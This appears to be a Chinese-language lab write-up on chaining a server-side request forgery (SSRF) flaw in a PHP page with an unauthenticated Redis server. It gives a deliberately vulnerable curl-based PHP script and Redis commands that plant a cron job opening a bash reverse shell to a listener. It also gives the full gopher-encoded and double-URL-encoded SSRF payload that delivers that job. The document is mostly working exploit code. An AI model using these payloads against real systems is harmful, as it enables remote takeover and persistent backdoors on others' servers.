实验环境
存在SSRF漏洞的页面
Redis主机
<?PHP
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>
实验步骤
原理就是利用SSRF构造一个gopher协议数据包，发送到redis，写入计划任务，反弹shell
常见的Redis EXP如下
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.0.100/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
将以上exp用gopher编写
回车用%0a%0d代替
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
本地监听端口。就能收到反弹的shell
既然已经有exp了。就用ssrf进行攻击
payload如下
http://192.168.0.148/2.php?url=gopher%3a%2f%2f192.168.0.131%3a6379%2f_%2a1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.0.167%2f2333%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a
要用上面的exp进行二次编码,将*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1进行一次编码，对其他的%进行二次编码，第一次编码，主要是为了防止浏览器对特殊符号的解析，比如&